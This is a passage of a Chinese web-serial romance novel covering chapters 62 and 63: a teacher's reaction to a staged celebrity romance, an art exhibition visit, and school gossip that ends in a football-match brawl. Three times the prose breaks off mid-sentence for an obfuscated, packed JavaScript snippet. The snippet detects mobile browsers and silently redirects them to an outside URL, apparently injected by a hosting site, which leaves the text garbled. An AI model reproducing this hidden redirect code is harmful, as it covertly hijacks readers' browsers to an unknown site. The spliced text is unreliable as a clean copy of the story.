文诗新专辑的宣传也渗透校园,她经常能在中午的广播时听到学生们放她的首歌,有学生议论:“后面的男音和声就是咱们小李老师。” “喔,好配啊!” “你记不记得文诗还来过咱们学校来着……” 流言蜚语从来都不缺土壤,李知难听着那曲子,文诗的声音很好听,带着一丝倔强,揉杂在女声特有的细腻中,让人听得入神。 在那个短暂的寒假里,他短暂地体验了回做她的“朋友”,然后在夏天开始之前,他们的友情结束了。 没人能承载得住这么多年的期盼,走近的执念一旦成真,等着的也不过是幻灭。不光对于她如此,应该对他也是。 几周后的一模当天,学生们叽叽喳喳地聊着八卦,考试铃响都没能将他们的注意力拉回来。 李知难不负责监考,正和值班的奚西聊着闲天,突然听到其他老师聊道:“喔,这么大的八卦?” 奚西问道:“什么八卦?” “咱们之前那个小李老师,被拍到和女idol在路上亲亲我我。”一旁的老师指了指手机,“热搜第一了都,第二说文诗被劈腿了。” 奚西急忙拿出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673426|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机翻看,然后拨通了李北辰的电话:“师哥,什么情况?” 李北辰的声音温柔道:“没事的,别担心。” 隔着半个身子,李知难听到了他的声音隐隐约约从奚西的话筒中传来,即使不真切,也足以让她的心跳突然加快。 “那热搜是怎么回事?” “过两天就会下去了。”奚西突然听到电话那边另一个男声在旁大声喊着什么,李北辰道:“陈亦童在旁边,他有点喝多了,你能不能来接他一下?” 奚西脸微微泛红:“我干嘛去接他……” “奚西,就当帮帮我?”李北辰询问。 “好。”奚西点了点头。 她挂掉电话,看了看旁边心不在焉的李知难,道:“知难,能不能蹭一下你的车。” “怎么了?” “我去接趟陈亦童……”她小声道,“有你在我会放心一点。” 李知难:“你不放心什么?” 奚西清了清嗓子,没好气道:“我不放心我自己!” 李知难点了点头,“我跟楚老师交代一下,咱们先走。” 奚西感激地搂住了她的胳膊。 李知难陪奚西一起到了KTV包厢,李知难隔着玻璃就看到了里面的人。 果然,李北辰在里面。 她答应奚西的时候,是想过,他也会在的。甚至正因为他也会在,才让她有了想来的欲望。 可眼前的他,正和年轻漂亮的女孩唱着歌,女孩半个身子依偎在他肩膀,亲昵得不像话。 奚西推开了门,她下意识想要向后闪躲,怕被李北辰看到。可还没来得及行动,就已经和李北辰的视线对上了。 他冷漠地看着她。 上一秒还用那样温柔亲昵地眼神看着怀里的女孩,下一秒抬眼看到她时,眼神瞬间变了神色。 她从没有见过这样的眼神。 李北辰在望向她时,永远像在看天上明月,那双好看的眼睛仿佛能反射出她的影子,声情并茂地提醒她,他眼里只有她。可现在那双熟悉的眼睛里,充满了冷漠,她像是身后的墙纸,身前的门,对他来说,都没有任何意义。甚至,她还不如这些死物,她恍惚觉得他现在厌恶自己,看她就像是在看一个不合时宜的人出现在不该出现的地点。 可以肯定的是,他一点也不想看到自己。 李知难被这样的眼神定在原地,尴尬地对奚西说:“你先去,我在外面等你。” 她径直走向一旁的卫生间,一处能确定不会和他遇到的地方,才能找回自己心里的安全感。她双手扶在台上,控制不住地喘着气,直到半晌后才缓过来。抬起头,她看着镜子里那个并不年轻的女人,满脸失落地回看着她。 不过就是一个眼神,她心里暗暗对自己道,他就是看了你一眼而已,你干嘛要这样。 可另一个念头没来由地出现在脑海。 他不会是……恨我吧? 那样冰冷的眼神,只能是讨厌,或者是恨吧。 她不禁心内自嘲道:也对,他应该恨我的,毕竟,是我浪费了他这么多年的时光。 62. 画展 车内,奚西和醉鬼副总坐在后面,李知难俨然成了他们的代驾。 “奚西,对不起,”陈亦童借着酒意凑向她,小声说,“我错了,都是我的错。” 奚西尴尬道:“别说了。” 她顾及着前面李知难的感受,可李知难却是第一次体会到曲子格的乐趣,在线吃瓜。 陈亦童仍然不知轻重地表白道:“奚西,我真的爱你……我……” 奚西急忙捂住了他的嘴:“求你闭嘴吧。” 李知难透过后视镜瞥见了奚西的坐立不安,偷笑道:“酒后吐真言,人家想说,你就让人家说嘛……” 陈亦童附和:“李老师说的对,还是李老师通透。”喝醉了的陈亦童比清醒的陈亦童脸皮厚多了,这个曾经对着他面门一拳挥过去的李老师,此时只因为一句话就成为他的盟友,说什么都是对的。 奚西尴尬得恨不能找个地缝钻进去,她也不是不想和陈亦童谈一谈,只是李知难就在前面,现在的一切都有她的耳朵记录着,她实在没法现场表演爱生恨死,只能小声道:“陈亦童,你别撒酒疯。” 她将他推向了一边,自己使劲往座位地另一边钻,像是只笨拙的小企鹅。 陈亦童见她这般,自己松了松领带,泄气地躺在了另一侧的车座上。顺着后视镜的画面,他的余光看向李知难。 方才KTV里的一幕已经是第二part了,他和李北辰之间的第一part是在公司办公室完成的。文诗的EP推出之后,反响平平,李北辰希望能够凭借之前在可能音乐的关系,帮文诗找些活动推广,老吴自然聪明地猜到他的来意,转脸就遁了,把他推给了负责唱黑脸的陈亦童。 李北辰和陈亦童的私交原本不错,但自从陈亦童和奚西扯上关系,两个人之间就多了些火药味儿。陈亦童看着来求情的李北辰,总算站了一次上风。 “你答应以后再也不联系奚西,这事我帮你。”他开出了条件。 李北辰原本不支持奚西和陈亦童在一起。作为朋友,或者是盟友,陈亦童是个不错的选择。可是他这个人性格里戾气太重,总认为全世界都要跟他作对,每日摆出一副斗战胜佛的样子前往征服。 他能力出众,却有些不择手段。在之前合作的项目中,一旦被逼入不利的处境,放冷箭出黑手对付竞争者,他都做得心安理得。 奚西心思单纯,和他在一起太容易受伤了。 然而当他知道时,奚西已经选择了上了他的贼船。据他所知,奚西也是真的爱上了他。 可笑的是,一向自傲自负的陈亦童唯独没有看清这一点,他偏执地觉得奚西心里的人是李北辰。 奚西骂他无理取闹,然而他的证据都是不能放到表面上的。他不可能承认自己会背着奚西去做那些事情,因为没办法说出口,所以更无法找她要解释。索性,他把商场上那一套用在了对待奚西的感情上,如果你不自愿给,那我就要抢,就要逼迫,反正最后你必须是我的。 李北辰成了他的心病。 李北辰知道奚西和他之间分分合合,也隐约觉出似乎和自己有关系,便想趁这个机会,彻底把事情澄清才好。 李北辰听着他开出的条件,跟他做了另一个交换:“不如我给你更好的条件。” 两个人开了一瓶酒,在办公室一人一杯,一杯酒入喉,陈亦童问一个问题,李北辰无条件回答。 第一杯空了。 “奚西是不是喜欢你?” 李北辰一饮而尽。“就我所知,她确实喜欢过我。” 第二杯。 “什么时候的事。” “大学吧,那时候我帮过她,所以她误会了自己的感情。” 第三杯。 “你不喜欢她?” “从来没喜欢过。” “那你为什么要陪她去参加婚礼?” “我不是去陪她,我是去见我喜欢的人。” 陈亦童迟疑了一下,道:“李老师?” “对。” “那她为什么总是深夜和你联系?” “九十点钟你说是深夜?” “难道是白天吗?” “她下班,吃饭,应付你,等到有空的时候,九十点钟不是正常的吗?” “联系你干什么?” 他有些迟疑:“……大部分是聊知难的事情。” “什么?” “知难这一年经历了很多,奚西知道我喜欢她,很早就知道了,所以一直帮我传消息。” “她为什么要帮你?” “因为她是一个好人,和你不同,好人做好事是不需要有理由的。” “我凭什么信你?”陈亦童不笨,他能够感觉到,这不是全部的真相。 李北辰干掉了杯子里的酒,回:“因为那是我和她的交易。她帮我盯着知难,我帮她……盯着你。” 陈亦童愣住了。 奚西大学日记本里,满满对李北辰的记录。她不肯带自己参加同事婚礼,却悄悄邀请李北辰。明明自己和她反复说过不喜欢她和他联系,可是他经常能从她忘记删掉的聊天对话中,发现他们聊过天的痕迹。 这些困扰着陈亦童的事,一件件在李北辰嘴里找到了缘由。 事情的真相简单得有些好笑了,他突然意识到这些事明明只要好好和她说,都可以说清楚的,可是他采取了截然不同的做法。 她要和他断绝关系,他就利用音乐剧的安排事宜报复她,让她各处碰壁,以逼迫他来求自己。他搂着女明星出席活动典礼,只为了能让她在新闻中看到消息,为他吃醋伤心。他甚至默许了魏然对她假公济私的欺负,可亲眼目睹之后哪怕痛恨自己也不肯和她敞开心扉承认错误,只能靠开除魏然泄愤。 他就是不肯承认,自己爱她。 因为他确信,她心里的人是李北辰,自己要是说了,就输得一败涂地。 一瓶酒喝光后,他才发现,从始至终可笑的人只有自己。想到因为他哭过那么多次的奚西,因为自己不肯说出口的自负而备受委屈的奚西,他忍不住握住拳头砸到了办公室的玻璃桌上,血滴混着玻璃乱糟糟地碎成了一片。 李北辰也有些喝多了,道:“这是你在我面前砸的第二张了。” 陈亦童联想到了那次冲进来的李知难,问道:“李老师喜欢你吗?” 李北辰苦笑。 陈亦童似乎有些平衡:“所以做坏人,做好人,最后都是一个下场?” 李北辰低头,轻声道:“你怎么知道我就是好人?” “你?”陈亦童毫不在意受伤的疼痛,用纸巾擦着血迹,“你是行走的模范好人代表。” 李北辰没答。 “李北辰,我真的很爱奚西。”陈亦童对着另一个人坦白了心事,“我从来没有这样爱过任何一个人,我这辈子也不会再这样爱任何人了。” 李北辰眼底有些动容。 “我不是一个好人,我可以为了她学,我可以改,这些我都可以做到,你能帮我吗?”他语气恳求地看着他。 最后就着一地狼藉,两个人终于将误会一扫而光,签订了新的合同,聊好了新的计划,恰好陈亦童公司另一个项目要开庆功宴,他就拉着李北辰一起去喝第二part。 此时,陈亦童看着车里的李知难,不明白为什么她能够拒绝李北辰那样的男人,心里多少有点同仇敌忾的戚戚然,开口道:“李老师,刚才看见我们北辰的新女朋友了么?” 李知难僵了一下,敷衍回道:“嗯。” “觉得怎么样?” “挺好的。” “当然好了,我们可能音乐最近力捧的小姑娘,女团你知道吗?”陈亦童接话道,“就是唱跳的那种,人气很高的。那女孩,Bonnie,就是我们新女团的,唱歌跳舞都特别棒,人也很可爱,年纪轻轻,元气满满。” 李知难脸色有些沉,回道:“陈副总喜欢?” “我不喜欢,我喜欢奚西,”他想也没想就急忙解释,然后又反将一军道:“可李北辰喜欢啊,他新交的女朋友,他喜欢就行。” 这次李知难连回应都不打算再回了。 陈亦童诚然没有善罢甘休的意思,继续道:“我记得李老师上次不还说,李北辰喜欢的人是你么,怎么这回见面就天翻地覆了,你说是不是?” 奚西听罢急忙过去捂住了他的嘴:“不说话没人把你当哑巴。” “我当然不是哑巴了,哑巴吃哑巴亏,我不能再吃了。”陈亦童话里有话地说,然后见奚西已经凑了过来,立刻变成了狗皮膏药粘上去,“奚西,之前的事都是我的错,我可以解释的。” 奚西还在捂他的嘴,李知难心下暗暗后悔做这个好人,最终强忍着不痛快总算是把他二人送到目的地。分开时,她仍有些不放心地问奚西:“你确定我不用送你回去吗?我可以等你一会儿。” 奚西红着脸摇头道:“不用了,他这样我不放心。” 李知难点了点头,她能猜出来,奚西是迫不及待地想听他要说什么的,只是刚才碍着自己,不好意思罢了。 下车后奚西扶着陈亦童往公寓走,他故意赖在她身上,她顺手生气地使劲拍了下他的胳膊,气道:“你嘴巴怎么这坏!” 陈亦童道:“我还不是为了你师兄好。” “为他好什么?再说,你什么时候跟我师兄这么亲了?”奚西不以为然。 “从他告诉我你的秘密开始。”陈亦童一把将她搂在怀中,“从我知道你喜欢的人是我开始。” “我早晚得找我师兄算账。”奚西小声念叨。 陈亦童和她分享着自己今晚收到的消息:“你跟他的交易,是他帮你盯着我,你帮他盯着李老师,现在你抱得我归了,他还孤家寡人,你怎么好意思找人家算账?” 奚西不解:“他是孤家寡人?那Bonnie……” “Bonnie是谁?”他转眼就忘掉了刚才自己Cue的名字。 “哦,我又把她给忘了。”陈亦童摇了摇头道,“她们团里她人气最低,我经常记不起来她。” “……” “她跟李北辰不是真的谈恋爱,”陈亦童解释道,“准备炒绯闻呢,她太糊了,给她找点曝光度。” 第二天,李知难昨夜看到的现场直播又在网上被狗仔重新曝光了一回。什么疑似文诗男友夜会辣妹,可能音乐Bonnie为爱做三,标题起得五花八门的劲爆。 文诗的工作室很快澄清,她和李北辰自始至终都是合作关系,两个人从来没有任何亲密关系。接下来可能音乐也发表了声明,说旗下女艺人Bonnie和制作人李北辰正在相互了解地良□□往中,希望得到大家的支持。 一时间,#文诗独美#成为最热的标签,文诗的新EP也冲到了歌单榜首。 曲子格打电话探道:“知难,什么情况?” “什么什么情况?”李知难揣着明白装糊涂。 曲子格急道:“你不上网吗?李北辰的绯闻都被官方认证了。” “认呗,和我有什么关系。”她故作无所谓地回答。 “知难,你真的假的?没感觉吗?” “我应该有什么感觉?”李知难像是在劝自己一样,道:“这不都是预料之中的事情,本来也……没想过能有什么发展。” 曲子格最近做生意深谙成本利益产出收获那一套,忙道:“那他要是翻篇儿了,你是不是可以和裴哥……” “我挂了。”李知道觉得今天只聊一个男人就很头疼了,不想给自己一气儿找俩。 她虽然挂掉了电话,却忍不住再次拿起了手机。微博上全是他和Bonnie的照片,她亲眼目睹过的亲昵,加上官方的认证,几乎是找不出任何纰漏的热恋情侣。 就这样翻着,看着下面或支持或唱衰的评论,时间过了两三个小时。 床上的皮皮突然睡醒,看着身边空荡荡的位置,又瞧见在写字台前抱着手机的妈妈,委屈道:“妈妈,你怎么偷偷玩手机呢?” 她和皮皮有约定,为了让皮皮专心,她也不做那种天天眼睛粘在手机上的妈妈。这回被儿子逮到现行,多少有些被抓包的尴尬。“我,处理工作邮件,我不看了。”她放下了手机,走到皮皮旁边,搂住了他。 “妈妈,你不开心吗?”皮皮小声问。 “为什么这么说?” “你看起来不太开心。” “快睡吧,妈妈去准备一下教案。” 看着皮皮的眼睛再次合上,呼吸声变得均匀,李知难小心将胳膊抽出来,走到了卫生间。 她看着镜子里的自己,果然是肉眼可见的不开心。 还以为人老了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686679|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,胶原蛋白流失之后,那些皮肤的纹理就能够藏住情绪。可原来不管人多大年纪,如果是真的失落,脸上照样隐藏不住半点。 周六一早,宋乐来李知难家接皮皮上课时,好巧不巧地在楼下遇到了正在等待的裴方禹。 宋乐皮笑肉不笑地上前道:“哥们,你还挺着急啊?” 裴方禹认出了他,点头问候道:“你好。” 宋乐上下打量,一脸不忿的样子,“不是,你这样,她就能回心转意了?苦肉计啊这是?” 裴方禹虽然不悦,但也只是冷淡回道:“我想我没必要和你解释吧?” “对,没必要,那你就在这儿等着吧。”宋乐冷哼了一声,转身上了楼。 若是平日,接皮皮不过是五分钟的功夫,接上孩子拿上东西,关门走人。可今天他铆着劲儿似的,故意在楼上磨磨蹭蹭。 “一会儿皮皮上课迟到了,你赶紧的。”李知难在旁催促道。 “你这么着急干嘛,”宋乐故意道,“大周六的,安排还挺满啊?” “你瞎说什么呢?”李知难听不懂他的话里有话。 宋乐道:“你周六把皮皮给我,不就是为了自己方便么?” “不是你说平时见不到皮皮,让我周六把孩子匀给你一天的吗?”李知难听到他这说法颇为不可思议,“怎么还左右都是你的理了?” “你自己心里清楚。”宋乐也没太有底气和李知难拉扯这些,毕竟当初出轨的人是他,就算是她真的和裴方禹有什么,自己也没有阴阳怪气的资格,磨蹭到最后也只能对皮皮道:“走,爸爸带你上课去。” “今天……钢琴课照上啊?”李知难试探问。 “不然呢?”宋乐回,“北辰也没说有事取消啊。” 李知难清了清嗓子:“他……不是闹绯闻呢么?” “就上午一个小时,还能耽误人家谈恋爱不行?”宋乐道,“你当都跟你似的,分秒必争。” 李知难才要发作,宋乐拉着皮皮急急忙忙出发了。 二人才走不久,她便听到了敲门声。 “又落什么了……”她边开门边道,却见来人是裴方禹。顿时明白了刚才宋乐的阴阳怪气。 “我想带你去个地方。”裴方禹一脸和煦地邀请道。 李知难思索着理由拒绝,细节虽然没想到,但是总归有个万能的借口:“我今天有事。” 裴方禹轻声笑道:“我已经问过了,你今天不用工作,不用带孩子,不用陪闺蜜,你没有什么安排。” “那……我想自己清净一天不行吗?”路被他堵得差不多,李知难只能现找理由。 “那我带你去个清静的地方。” “裴方禹……” “知难,小曲说你最近心情不太好,虽然我不知道为什么,但是我想我知道怎么能让你开心一点。”裴方禹早就做好了心理准备,并不打算轻易放弃。 “我不想……” “那我就下周继续来烦你,下下周继续来烦你,直到你答应为止。”他将胡搅蛮缠地话说得干干脆脆。 “……” “走吧,你不会失望的。” 裴方禹带她去的地方,是最新的画展中心。 “次列格的?”李知难诧异地看着那画展艺术家的名字。 裴方禹解释道:“他现在身价上亿,算是欧洲最火的现代艺术家之一。” 李知难倒也不意外:“他确实很有才华。” “进去看看。” 画展的主展厅里有一条长廊,名字叫做雨中的女人们。 墙上的画作是各种女人和雨的有机互动,雨中热舞的,雨中奔跑的,雨中弹琴的,雨中哭泣的,每个女人都在雨中呈现着自己独特的生命力和故事感,那画面被艺术家用美丽的角度记录下来,变成了永垂不朽的画作。 “我记得,也有一幅你的。”裴方禹道,“我们访学遇到他的时候,他也画了一幅你,对吧?” 李知难点了点头。 “那你还留着吗?” “扔了。” 裴方禹有些意外,毕竟那是当年李知难最宝贝的东西,他试探问道:“因为那是你想我时的样子?所以就算是次列格画的,也狠心扔掉了?” 李知难没有回答。那幅画是在她没有意识到的情况下画的草稿,在那一刻,看着雨的李知难究竟想些什么,她自己也不知道。何况,那幅画对她来说和裴方禹也没什么关系,更像是单纯记录了自己年轻时的一个永恒瞬间。 “有些可惜,”裴方禹道,“如果留到现在,应该会值不少钱。” “哦。”李知难应道。 画廊的尽头,有一幅巨大的黑白画。上面是男人的背影,也是整个展出中,唯一一幅以男人作为主角的画作。 裴方禹道:“其实,我带你来是想让你看这幅。” 李知难看着那幅画,黑白构图的结构,和次列格的平时热烈的风格差很多。 “我特地求策展人把这幅画放进来的。”裴方禹解释道。 “为什么?” “这幅画陪我度过了很多没有你的日子。”裴方禹道,“这是次列格在欧洲遇到的一个男人。他遇到他的那天,他从妻子和女儿的葬礼上回来,他在那天失去了生命中最重要的一切。葬礼散场后,他一个人在这条路上,独自走回家。他知道,自己已经没有家了,自己也没有灵魂了,自己彻底一无所有了,所以这幅背影,就像是行尸走肉一样游荡在人间,这副躯壳,将永远以这样的背影,孤独地存在在这个世界上,直到死亡将他解脱。” “知难,我每次看到这幅画就会提醒自己,至少你还活着,只要你还活着,我就不是一无所有,我也不是行尸走肉,我总会有机会。这个念头,就可以撑着我继续走下去。”他轻声道。 李知难摇了摇头,并不买他这套深情:“怎么,你的功成名就不好使了吗?” “知难,不要防备心那么重。”裴方禹道,“我没指望用一幅画打动你,但是……我们来日方长。” 李知难转身道:“画展很好看谢谢,回头门票钱我转你。” 她走出画展,心里却忍不住反复想到那幅画。 她不知道裴方禹的心情是不是如他所说,可她知道,自己在看到这幅画时,脑子里想起的,是那首Demo630。 63. 足球比赛 这几年,李知难的周末都是皮皮的。辛苦工作一周后,她总要更加元气满满地保证两天充实陪伴。要是说离婚有什么好,那便是将她原来满满当当的日程腾空了些,比如现在的周六,她就可以做甩手掌柜把孩子交给宋乐。要知道这样,她倒有点后悔没早些离婚。 这周宋乐接皮皮的时候,看着她光鲜的衣服,上下打量,道:“怎么,这周又和人出去啊?” 李知难冷脸回道:“我今天有正事。” “嗯,正事。你最近挺忙的,我知道。”宋乐仍旧是旁敲侧击的阴阳怪气,李知难权当没听到,左耳朵进右耳朵出了。 这点也比结婚时好很多。结婚的时候,宋乐嘴里那些她不爱听的废话,都因同在一个屋檐下躲也躲不掉,现在就容易极了,不爱听直接把门一关,瞬间世界都能安静下来。 之前只听说婚姻像围城,现在才知前人诚不欺我。懵懂无知的自己按照社会的要求着急忙慌地闯进来,结果不过就是个草棚子,风和雨该来还是挡不住,反倒是人被圈在这里,连个躲雨的地方都没法找。 这下出来了,天空海阔。 曲子格听着她这套说法,道:“照你这么说,还是不应该结婚了?” “也不是,”李知难,“得结一回,才能祛魅。要不然眼瞅着惦记,心里还是觉得好,体验一回,就知道不过如此了。” 曲子格:“你这是说你和宋乐呢,还是说你和李北辰呢?” 李知难白了她一眼:“碍他什么事……你少提他。” “不过说真的,”曲子格正色道,“今天还是谢谢你了,过来帮我撑场子。” 她二人此时正在王总公司举办的活动宴会上,王总想让她多接触同行客户,开发资源,但曲子格生怕自己露怯,果断选择叫李知难前来帮忙。 两个人象征性地和周围人攀谈了两句,但是对方一听曲子格的背景,表情立刻意兴阑珊。 “我也帮不到你什么。”李知难小声私语。她知道自己在这里的作用,顶多算是捧个人场,至于商务上的那些,她一窍不通。 “小曲,我来晚了。”此时,一身正装的裴方禹从天而降,李知难感觉整个屋子的视线都因为他的到来而集中到了这边。 李知难用眼神指责地看向曲子格。 曲子格讨好地看了回去。 “有你在我就放心了。”她上前热络地同裴方禹说道,又端了两杯鸡尾酒递给二人:“谢谢你们俩,我今天太需要你们帮我撑场子了。” 裴方禹回道:“我们也算是股东,应该的,别跟我们客气。” 李知难没好气地啜了口酒,心道谁跟你我们。但碍于场合,也不便多说什么。 突然,只听身旁传来一位中年男人的声音:“李老师?” 李知难转过头,竟然是穆婷婷爸爸。有钱人的世界比他想象中小多了,竟然在这里又碰到了穆婷婷爸爸。但显然他并不是来开拓人脉的,他是被请过来用以给大家开拓的那个人脉。人脉对这场合的含金量显然有些失望,才打算走,竟意外地看到了熟人,方才过来打招呼。 众人的眼睛也随着穆婷婷爸爸的脚步转到了李知难身上,小声窃窃这位美女的身份。 “您好。”李知难礼貌问候。 “这位是……您爱人?”穆婷婷爸爸指着一旁的裴方禹,好奇问道。 裴方禹伸过手,体面地自我介绍:“您好,我希望未来是,但目前还只能算是李老师的追求者。” “李老师……不是结婚了吗?”穆婷婷爸爸隐约记得女儿是这样说的,还夸赞过她儿子长得可爱之类的话。 李知难看着这场面,一记警告的眼神递给裴方禹,裴方禹知道自己说了不该说的话,但也没有抱歉的意思。 “婷婷爸爸,其实……我已经离婚了。”李知难回道。 “哦哦哦……”穆婷婷爸爸有些尴尬,又瞥了瞥一旁玉树临风的裴方禹,改口道:“那恭喜啊……” 曲子格在一旁听罢,强压着嘴角不敢笑,心道这可是新鲜景儿,对着人家离婚的消息说恭喜的,还是破天荒头一回。大佬的格局就是和普通人不一样。 可她还没来得及幸灾乐祸,就被另一边突然出现的顾清辛敲了下头。他也是被请来的人脉,和穆婷婷爸爸不同,他是主动要求被请过来的那一种。 “你怎么在这儿?”她捂着脑袋看着顾清辛,警惕道。 “拓展人脉。” “你用拓展什么人脉……”她小声道。 “你用就行了。”他拉住了曲子格,硬将她的手挽在自己胳膊上。穆婷婷爸爸此时已经退场了,场子里每双眼睛都在左右搜罗着,希望能在这个场合下找到下一个金主,而顾清辛的出现显然给本有些颓势的场子注入了兴奋剂。各类人围了过来,顾清辛也没有抗拒,竟然收起了二世祖的不恭,认真帮她引荐各路的资源。 原本被当成小角色的曲子格,突然背后有了圈神光。 “看来我们有点多余了。”裴方禹评价道。 “你自己多余吧,我先走了。”她见曲子格现在游刃有余的,终于放心地离开了宴会厅。 周一学校里便开始传起风言风语。 作为流言的主角,李知难知道得最晚,楚老师旁敲侧击半天,见她不上套,忍不住如实道:“李老师,学校里传你家里出了点问题。” 李知难从她开口问自己老公最近工作如何时,就已经悄悄打过了预防针,直言道:“其实我去年就离婚了,但是考虑到是个人私事,跟大家没什么关系,就没有告诉大家。” “哦。”楚老师点头,“确实,这属于你的个人隐私。反正不是作风问题就行,那你……也别太难过啊,没事的。” 楚老师露出了标准的同情面孔。仿佛她婚姻的不顺利,也间接等同她人生的失败。 “我难过什么?是我提的离婚。”李知难答,说完她又觉得自己多话了,非在外人面前争这个强做什么。这一句说出来,势必要引着人家好奇追问。 “啊?为什么?”楚老师立刻咬了饵勾,李知难做事规矩,这些年工作和私生活上也没有出格的事情,这种事发生在她身上,颇为令人意外。 “私事我就不跟您解释了,但是我们和平分手的,缘分尽了,没什么内幕。”她答,选择给自己也给宋乐留了体面。 放学时,穆婷婷在她办公室门口来回转了好几圈,最后才下定决心敲门。 “怎么了?找我有事?”李知难知道穆婷婷的心思不在学习上,她前一阵艺考已经出了结果,只要能过艺术线,她就可以入学。况且以她的家庭条件,就算没过,她也有别的路子曲线进入演艺圈。和其他高三的学生不同,穆婷婷没有如临大敌的紧张,她甚至比之前还轻松了许多。所以她来找自己,还是主动找自己,另她颇为意外。 “老师,我真的不是故意传播您离婚的事的,我就跟苗苗说了,苗苗也保证没告诉别人,我们也不知道怎么传出去的。”穆婷婷委屈地解释。 “没事了,”明明她才是谣言受害者,反倒需要她去安慰有可能是传播始作俑者的穆婷婷,她暗暗觉得好笑,但是看着女孩认真难过的脸,她也只得劝道,“老师离婚哪有赖学生的道理。” 穆婷婷低着头,道:“可现在传得特别难听,说您……” 说她私生活不检点,被老公抛弃。还有再次翻旧账说她收受贿赂,偏心送礼的同学。甚至连那个曾经在她课上□□的男学生,也变成了是她主动勾引的。 穆婷婷只是和苗苗小声讨论过她离婚的事情,从没想过竟然流言会自动演变成这样无根无据的恐怖事件。 李知难知道,但她不在意:“好好学习,没用的这些事别往心里去。” 穆婷婷一本正经道:“李老师,您这么漂亮这么好的人,失去您是他的损失。” “我……谢谢你。”她忍着笑,看着眼前女孩的贴心,又不由有一丝感动。 “我们都支持您,因为我们都知道您是最好的老师。”穆婷婷说完,自己也有些不好意思了,三两步小跑出了办公室。 谣言开始的时候虽然传得热闹,可终究会在到达顶点后逐渐下滑,再劲爆的八卦,在时间面前,也不值一提。李知难本是按照这个流程进行心理预期的,过一周,就没人会记得这件事了,可这周还没结束,这件事带来的连锁反应就引发了另一件事。 谣言传播时最坏的情况,便是将这谣言当作母蛊一样,生出越来越多的子蛊,这样一环套一环,就没完结的时候了。 高三三班和高二八班在体育周足球赛上进入了决赛。高三的压力压得学生们穿不过来气,很多班都在班主任的强硬要求下“自动放弃”了比赛资格,专心备考。可李知难觉得越是这种时候,越应该劳逸结合一下,她没有强迫孩子们退出,而是让他们自己做选择。 最后,三班成为高三年级的独苗,进入了决赛。 这件事颇为提气,毕竟在高考面前,还能有些其他的目标用作消遣,实在是珍贵难得的事情,半个班的学生全都跑过来,给球员们呐喊加油。 高二八班是学校里有名的足球强班,校队的主力前锋后卫及守门员,全都出自他们班,因此在面对他们眼里的“老帮菜”高三毕业班时,不自觉便有些轻蔑。 他们还是低估了高三学生压抑的释放。从比赛一开始,八班便被左右抢断,控球时间相较高三三班都少了大半。原本兴致勃勃的八班学生看得意兴阑珊,而旁边来看球的三班同学也趁此机会在场外释放了一下音量,喊着喊着,八班学生嫌他们干扰比赛,言语间呛了起来。三两翻对骂把常见叫嚣的词儿用得差不多了,就有人在其他地方找话头,作为当下热门八卦源头的李知难和她被编排到离谱的婚姻顺手成了他们用来添油加醋的佐料。 “他们班老师就是最近离婚那个女的……”有人故意捂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699707|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴巴,却音量颇大地说道。 几个学生脸上露出嘲讽的神色,看着三班的同学。“听说那老师特别贱,破事一大堆……” “你们凭什么这么说我们李老师!”穆婷婷和苗苗先站了出来。 球场上,进攻中的秦梓轩看到这边有动静,也叫了暂停跑过来查看情况。 “你再敢说一句试试!你知道什么啊就信口开河!”穆婷婷气得眼睛都红了。 “我知道她私生活不检点,难怪你们班女生一个个的这么轻浮,在旁边叽歪乱叫,看来是有样学样!”一名性格厉害的八班学生在嘴唇一张一合之间,就把李知难连带三班一众女生全骂了。 “你们老师还是什么好货色吗?关于她的丑闻多了去了,勾引学生,收受贿赂,我看学校真应该好好查一查。”见三班的学生们没有还嘴,这位厉害的学生更是得意了。 “闭嘴。”秦梓轩上前,横手将穆婷婷挡在身后,仗着高人一头的身高优势,狠狠地对对面的学生说道。 球场上的男生们都跑了过来,为首的赵星移指着对面学生的鼻子喊道:“再敢胡说别他妈逼我揍你丫的啊!” 八班的球员们见状也一拥而上,气氛瞬间紧张起来,一触即发。 此时,廖蒙站了出来,看着对面气势嚣张的八班同学,冷声道:“你们有本事就在球场上赢我们,在这儿唧唧歪歪什么?靠嘴能进球吗?” “比就比!” 接下来的比赛充斥了火药味,三班球员的配合更好一些,但是八班主力队员的实力更强。在防守时,两三名三班球员左右夹击,八班的队员脚下一个虚晃,球虽然过去了,但是却被误判的三班球员踢中了腿,大喊一声倒在了地上。 这下算是终于给充满火药味的操场点着了,两队乱做一团。 办公室内,八班的班主任石老师对李知难道:“反正我们需要一个道歉。” “您需要谁道歉?我跟您道歉吗?”李知难反问。 